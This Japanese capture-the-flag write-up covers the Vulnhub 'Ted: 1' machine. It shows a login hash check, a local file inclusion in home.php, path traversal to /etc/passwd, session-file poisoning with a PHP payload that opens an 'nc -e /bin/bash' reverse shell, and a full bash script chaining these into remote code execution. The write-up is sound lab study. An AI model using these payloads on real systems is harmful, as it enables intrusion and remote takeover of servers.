#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Ted - Authenticated Local File Inclusion]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/ted/)
#Ted
- サーバー名: Ted: 1
- リリース日: 2019年7月16日
- 作者: Avraham Cohen
- シリーズ: Ted
#認証バイパス
Index.phpはログインフォームで、formのaction属性にauthenticate.phpが指定されています。
<form action="authenticate.php" method="post">
authentication.phpでは、SQLステートメントで安全な認証を行っているように見えます。
<?php
// Prepare our SQL, preparing the SQL statement will prevent SQL injection.
if ($stmt = $con->prepare('SELECT id, password FROM accounts WHERE username = ?')) {
// Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s"
$stmt->bind_param('s', $_POST['username']);
$stmt->execute();
// Store the result so we can check if the account exists in the database.
$stmt->store_result();
}
if ($stmt->num_rows > 0) {
$stmt->bind_result($id, $password);
$stmt->fetch();
?>
情報を取得した後、パスワードを検証しています。
<?php
if ($_POST['password'] == $password) {
// Verification success! User has loggedin!
...
} elseif ($_POST['password'] == "admin") {
echo "<p>Password hash is not correct, make sure to hash it before submit.</p>";
} else {...}
?>
ハッシュ化されたadminが正しいパスワードなのか確かめたい。
authenticate.phpにある認証情報で、Tedのデータベースにアクセスしてみます。
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'user';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'dbname'
以下のコマンドで、ハッシュがデータベースに保存されているかを確認します。
mysql -uuser -ppassword dbname -e 'select password from accounts where username="admin";' 2>/dev/null | grep -P "[A-Z0-9]+
sha256ハッシュが確認できました。
Tedマシンで以下ののスクリプトを実行しログインします。
#!/bin/bash
# Retrieve the hash from the DB
dbhash=$(mysql -uuser -ppassword dbname -e 'select password from accounts where username="admin";' 2>/dev/null | grep -P "[A-Z0-9]+")
# Generate the sha256 of "admin" in uppercase, to match the case of the DB hash
hash=$(printf admin | sha256sum | awk '{print toupper($1)}')
# Compare the two hashes
if [[ "$dbhash" == "$hash" ]]; then
echo "TRUE"
else
echo "FALSE"
fi
ログイン後、authenticate.phpの認証機能を確認します。
authenticate.php内で、ログイン直後にユーザーがhome.phpにリダイレクトされていることを確認できます。
<?php
if ($_POST['password'] == $password) {
...
header('Location: home.php');
#LFI
home.phpには、2種類の脆弱性が確認できます。
<?php
1. if (isset($_POST['search'])) {
2. echo "Showing results for ".$_POST['search'].":";
3. ...
4. }
5. include($_POST['search']);
- 2行目:検索パラメーターにフィルターがかかっていないので、XSSが発生する可能性がある。
- 5行目:検索パラメーターがページに含まれているため、LFIが発生する可能性がある。検索ボックス../../../etc/passwdを挿入するとpasswdファイルが閲覧できます。
$ _SESSION
オブジェクトは、/var/lib/php/session/に保存されます。
ファイル名には、sess_ prefix
とPHPSESSID
が設定されます。(この場合、sess_0oqh1580kqa1q9s4srsbnue2b0
)
そのため、$ _SESSION
の値を自由に設定でき、セッションファイルにPHPペイロードも挿入できます。
クッキーにuser_pref=<?php system('nc -e /bin/bash MYIPADDRESS 443')?>
を追加します・
ログイン後してhome.php
が呼び出された後、以下のセッションファイルの内容確認できます。
root@ubuntu:/var/lib/php/sessions# cat sess_hrcagu6l6tdqfunma6ftltkvj3
loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:52:"<?php system('nc -e /bin/bash MYIPADDRESS 443')?>";
#RCEスクリプト
以下のステップでシェルを奪います。
- Webアプリにログイン
- セッションファイルにPHPバックドアを挿入
- LFIでバッグクドアを発動
#!/bin/bash
proxy="-x http://127.0.0.1:8080"
backdoor="user_pref=<?php system('nc -e /bin/bash 192.168.226.129 443')?>"
echo "[+] Logging In";
cookie=$(curl -ksi -X POST -H "Cookie: PHPSSESID=$cookie" --data-binary 'username=admin&password=8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918' 'http://ted.local/authenticate.php' $proxy | grep 'PHPSESSID' | awk -F"=" '{print $2}' | tail -n 1 | awk -F";" '{print $1}')
sleep 1
echo "[+] Injecting Backdoor";
curl -ksi -X GET 'http://ted.local/home.php' -H "Cookie: PHPSESSID=$cookie; $backdoor" $proxy &>/dev/null
echo "[+] Getting evil shell..";
sleep 1
curl -ksi -X POST -H "Cookie: PHPSESSID=$cookie; $backdoor" --data-binary "search=../../../var/lib/php/sessions/sess_$cookie" 'http://ted.local/home.php' $proxy &>/dev/null
echo "[+] Done!";